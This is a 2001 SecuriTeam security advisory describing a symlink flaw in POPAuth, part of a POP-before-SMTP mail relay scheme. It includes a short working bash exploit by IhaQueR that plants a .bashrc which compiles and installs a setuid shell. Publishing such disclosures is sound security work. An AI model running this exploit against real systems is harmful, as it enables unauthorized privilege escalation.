[UNIX] POPAuth Symlink Problem Allows Creation of a Setuid Shell

From: support@securiteam.com
Date: 12/23/01


From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 23 Dec 2001 04:28:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  POPAuth Symlink Problem Allows Creation of a Setuid Shell
------------------------------------------------------------------------

SUMMARY

POPAuth is part of the POP before SMTP scheme, the scheme would allow you
to restrict relaying through your mail server to only local users that
have authenticated using Post Office Protocol. A security vulnerability in
the product allows attackers to create a setuid shell with root
privileges, allowing system wide compromising of system security.

DETAILS

Impact:
In case of suid POPAuth and valid shell for user 'pop', the attached
script will create suid-pop shell, if someone su to 'pop'. This may happen
as a part of some automated check script (startup script).

Exploit:
#!/bin/bash

# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \" #include
<stdio.h>\n main(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\",
\\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho
done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE"

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul
Starzetz.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Madhater Perlbot Remote Command Execution
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Due to no input filtering and a call to the shell the script could be ... command they wish by doing something like anything";cmd. ...
    (Securiteam)
  • [UNIX] Berkeley pmake Security Vulnerability
    ... Berkeley pmake Security Vulnerability ... There is a format string bug in the Berkeley's pmake 2.1.33 and below ... If the user puts a shell definition into the Makefile, ... static char eb; ...
    (Securiteam)
  • Re: Enabling telnet, ftp, pop3 for root...
    ... then opens the shell and turns back on ... run ALL the commands they want from the script, ... Since nobody had root access to the machine that held the logs, there wasn't a way that somebody could abuse privilege by hiding what they were doing, without making it quite apparent that they were trying to hide their actions. ... Those are all hurdles that are unnecessary when implementing security. ...
    (alt.os.linux)
  • Re: How to enforce "user cannot invoke any programs without first logging on to the system"
    ... a unix security group, so I repost here. ... I am writing shell scripts to enforce some security standards. ...
    (comp.security.unix)
  • Re: multiple root accounts,sudo,logging
    ... This is more for logging than security. ... Once someone has a root shell, ...
    (comp.unix.admin)